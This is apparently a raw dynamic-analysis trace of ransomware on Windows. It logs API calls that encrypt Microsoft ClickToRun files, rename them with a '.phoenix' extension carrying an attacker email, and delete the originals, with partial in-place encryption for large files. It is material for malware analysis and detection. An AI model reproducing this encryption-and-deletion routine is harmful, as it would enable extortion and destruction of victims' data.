	[0069.882] CryptEncrypt (in: hKey=0xbaa748, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x60, dwBufLen=0x60 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x60) returned 1
	[0069.882] CryptDestroyKey (hKey=0xbaa748) returned 1
	[0069.882] WriteFile (in: hFile=0x340, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0x112, lpOverlapped=0x0) returned 1
	[0069.883] CryptDestroyKey (hKey=0xbaa288) returned 1
	[0069.883] CloseHandle (hObject=0x324) returned 1
	[0069.883] CloseHandle (hObject=0x340) returned 1
	[0069.888] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\masterdescriptor.x-none.xml")) returned 1
	[0069.889] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x338fdd0 | out: pbBuffer=0x338fdd0) returned 1
	[0069.890] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\stream.x64.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\stream.x64.x-none.man.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0069.892] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x338fd70 | out: lpFileSize=0x338fd70*=3688458) returned 1
	[0069.892] CloseHandle (hObject=0x340) returned 1
	[0069.892] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\stream.x64.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\stream.x64.x-none.man.dat")) returned 0x20
	[0069.892] MoveFileW (lpExistingFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\stream.x64.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\stream.x64.x-none.man.dat"), lpNewFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\stream.x64.x-none.man.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\stream.x64.x-none.man.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 1
	[0069.893] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\stream.x64.x-none.man.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\stream.x64.x-none.man.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0069.893] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fce0 | out: lpNewFilePointer=0x0) returned 1
	[0069.893] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fce0 | out: lpNewFilePointer=0x0) returned 1
	[0069.894] ReadFile (in: hFile=0x340, lpBuffer=0x371d058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x338fcec, lpOverlapped=0x0 | out: lpBuffer=0x371d058*, lpNumberOfBytesRead=0x338fcec*=0x40000, lpOverlapped=0x0) returned 1
	[0069.991] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x12c2ae, lpNewFilePointer=0x0, dwMoveMethod=0x338fce0 | out: lpNewFilePointer=0x0) returned 1
	[0069.991] ReadFile (in: hFile=0x340, lpBuffer=0x375d058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x338fcec, lpOverlapped=0x0 | out: lpBuffer=0x375d058*, lpNumberOfBytesRead=0x338fcec*=0x40000, lpOverlapped=0x0) returned 1
	[0070.219] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x34480a, lpNewFilePointer=0x0, dwMoveMethod=0x338fce0 | out: lpNewFilePointer=0x0) returned 1
	[0070.220] ReadFile (in: hFile=0x340, lpBuffer=0x379d058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x338fcec, lpOverlapped=0x0 | out: lpBuffer=0x379d058*, lpNumberOfBytesRead=0x338fcec*=0x40000, lpOverlapped=0x0) returned 1
	[0070.314] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd3c | out: phKey=0x338fd3c*=0xbaa508) returned 1
	[0070.314] CryptSetKeyParam (hKey=0xbaa508, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0070.314] CryptEncrypt (in: hKey=0xbaa508, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fcf0*=0xc0070, dwBufLen=0xc0070 | out: pbData=0x371d020*, pdwDataLen=0x338fcf0*=0xc0070) returned 1
	[0070.316] CryptDestroyKey (hKey=0xbaa508) returned 1
	[0070.316] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd18 | out: lpNewFilePointer=0x0) returned 1
	[0070.316] WriteFile (in: hFile=0x340, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0xc0122, lpNumberOfBytesWritten=0x338fd28, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd28*=0xc0122, lpOverlapped=0x0) returned 1
	[0070.338] SetEndOfFile (hFile=0x340) returned 1
	[0070.393] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x34480a, lpNewFilePointer=0x0, dwMoveMethod=0x338fce8 | out: lpNewFilePointer=0x0) returned 1
	[0070.393] WriteFile (in: hFile=0x340, lpBuffer=0x37dd15a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x338fcf4, lpOverlapped=0x0 | out: lpBuffer=0x37dd15a*, lpNumberOfBytesWritten=0x338fcf4*=0x40000, lpOverlapped=0x0) returned 1
	[0070.396] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x12c2ae, lpNewFilePointer=0x0, dwMoveMethod=0x338fce8 | out: lpNewFilePointer=0x0) returned 1
	[0070.396] WriteFile (in: hFile=0x340, lpBuffer=0x37dd15a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x338fcf4, lpOverlapped=0x0 | out: lpBuffer=0x37dd15a*, lpNumberOfBytesWritten=0x338fcf4*=0x40000, lpOverlapped=0x0) returned 1
	[0070.402] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fce8 | out: lpNewFilePointer=0x0) returned 1
	[0070.402] WriteFile (in: hFile=0x340, lpBuffer=0x37dd15a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x338fcf4, lpOverlapped=0x0 | out: lpBuffer=0x37dd15a*, lpNumberOfBytesWritten=0x338fcf4*=0x40000, lpOverlapped=0x0) returned 1
	[0070.404] CloseHandle (hObject=0x340) returned 1
	[0072.240] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x338fdd0 | out: pbBuffer=0x338fdd0) returned 1
	[0072.240] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\masterdescriptor.x-none.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0072.247] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x338fd70 | out: lpFileSize=0x338fd70*=21009) returned 1
	[0072.248] CloseHandle (hObject=0x340) returned 1
	[0072.248] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\masterdescriptor.x-none.xml")) returned 0x20
	[0072.248] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\MasterDescriptor.x-none.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\masterdescriptor.x-none.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0072.248] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\masterdescriptor.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0072.248] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0072.248] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0072.248] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\MasterDescriptor.x-none.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\masterdescriptor.x-none.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0072.641] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcc8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd24 | out: phKey=0x338fd24*=0xbaa748) returned 1
	[0072.641] CryptSetKeyParam (hKey=0xbaa748, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0072.641] ReadFile (in: hFile=0x340, lpBuffer=0x371d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x338fd4c, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesRead=0x338fd4c*=0x5211, lpOverlapped=0x0) returned 1
	[0072.737] CryptEncrypt (in: hKey=0xbaa748, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x5220, dwBufLen=0x5220 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x5220) returned 1
	[0072.737] WriteFile (in: hFile=0x320, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0x5220, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0x5220, lpOverlapped=0x0) returned 1
	[0072.747] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcbc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd28 | out: phKey=0x338fd28*=0xbaa2c8) returned 1
	[0072.747] CryptSetKeyParam (hKey=0xbaa2c8, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0072.747] CryptEncrypt (in: hKey=0xbaa2c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x60, dwBufLen=0x60 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x60) returned 1
	[0072.747] CryptDestroyKey (hKey=0xbaa2c8) returned 1
	[0072.747] WriteFile (in: hFile=0x320, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0x112, lpOverlapped=0x0) returned 1
	[0072.748] CryptDestroyKey (hKey=0xbaa748) returned 1
	[0072.748] CloseHandle (hObject=0x340) returned 1
	[0072.748] CloseHandle (hObject=0x320) returned 1
	[0072.760] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\masterdescriptor.x-none.xml")) returned 1
	[0072.762] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x338fdd0 | out: pbBuffer=0x338fdd0) returned 1
	[0072.762] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\masterdescriptor.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0072.763] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x338fd70 | out: lpFileSize=0x338fd70*=22095) returned 1
	[0072.763] CloseHandle (hObject=0x320) returned 1
	[0072.763] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\masterdescriptor.en-us.xml")) returned 0x20
	[0072.763] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\MasterDescriptor.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\masterdescriptor.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0072.764] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\masterdescriptor.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0072.764] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0072.764] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0072.764] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\MasterDescriptor.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\masterdescriptor.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0072.765] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcc8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd24 | out: phKey=0x338fd24*=0xbaa4c8) returned 1
	[0072.765] CryptSetKeyParam (hKey=0xbaa4c8, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0072.765] ReadFile (in: hFile=0x320, lpBuffer=0x371d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x338fd4c, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesRead=0x338fd4c*=0x564f, lpOverlapped=0x0) returned 1
	[0072.801] CryptEncrypt (in: hKey=0xbaa4c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x5650, dwBufLen=0x5650 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x5650) returned 1
	[0072.801] WriteFile (in: hFile=0x340, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0x5650, lpOverlapped=0x0) returned 1
	[0072.803] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcbc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd28 | out: phKey=0x338fd28*=0xbaa848) returned 1
	[0072.803] CryptSetKeyParam (hKey=0xbaa848, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0072.803] CryptEncrypt (in: hKey=0xbaa848, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x60, dwBufLen=0x60 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x60) returned 1
	[0072.803] CryptDestroyKey (hKey=0xbaa848) returned 1
	[0072.803] WriteFile (in: hFile=0x340, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0x112, lpOverlapped=0x0) returned 1
	[0072.804] CryptDestroyKey (hKey=0xbaa4c8) returned 1
	[0072.804] CloseHandle (hObject=0x320) returned 1
	[0072.804] CloseHandle (hObject=0x340) returned 1
	[0072.815] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\masterdescriptor.en-us.xml")) returned 1
	[0072.816] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x338fdd0 | out: pbBuffer=0x338fdd0) returned 1
	[0072.816] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\stream.x64.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\stream.x64.en-us.man.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0072.973] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x338fd70 | out: lpFileSize=0x338fd70*=882628) returned 1
	[0072.973] CloseHandle (hObject=0x340) returned 1
	[0072.973] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\stream.x64.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\stream.x64.en-us.man.dat")) returned 0x20
	[0072.974] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\stream.x64.en-us.man.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\stream.x64.en-us.man.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0072.974] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\stream.x64.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\stream.x64.en-us.man.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0072.974] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0072.974] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0072.974] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\stream.x64.en-us.man.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\stream.x64.en-us.man.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0072.975] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcc8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd24 | out: phKey=0x338fd24*=0xbaa608) returned 1
	[0072.975] CryptSetKeyParam (hKey=0xbaa608, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0072.975] ReadFile (in: hFile=0x340, lpBuffer=0x371d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x338fd4c, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesRead=0x338fd4c*=0xd77c4, lpOverlapped=0x0) returned 1
	[0073.270] CryptEncrypt (in: hKey=0xbaa608, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0xd77d0, dwBufLen=0xd77d0 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0xd77d0) returned 1
	[0073.271] WriteFile (in: hFile=0x320, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0xd77d0, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0xd77d0, lpOverlapped=0x0) returned 1
	[0073.289] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcbc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd28 | out: phKey=0x338fd28*=0xbaa248) returned 1
	[0073.289] CryptSetKeyParam (hKey=0xbaa248, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0073.289] CryptEncrypt (in: hKey=0xbaa248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x60, dwBufLen=0x60 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x60) returned 1
	[0073.289] CryptDestroyKey (hKey=0xbaa248) returned 1
	[0073.289] WriteFile (in: hFile=0x320, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0x112, lpOverlapped=0x0) returned 1
	[0073.289] CryptDestroyKey (hKey=0xbaa608) returned 1
	[0073.289] CloseHandle (hObject=0x340) returned 1
	[0073.289] CloseHandle (hObject=0x320) returned 1
	[0073.459] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\stream.x64.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\stream.x64.en-us.man.dat")) returned 1
	[0073.468] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x338fdd0 | out: pbBuffer=0x338fdd0) returned 1
	[0073.468] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\masterdescriptor.x-none.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0073.469] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x338fd70 | out: lpFileSize=0x338fd70*=21009) returned 1
	[0073.469] CloseHandle (hObject=0x320) returned 1
	[0073.469] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\masterdescriptor.x-none.xml")) returned 0x20
	[0073.469] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\MasterDescriptor.x-none.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\masterdescriptor.x-none.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0073.469] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\masterdescriptor.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0073.470] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0073.470] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
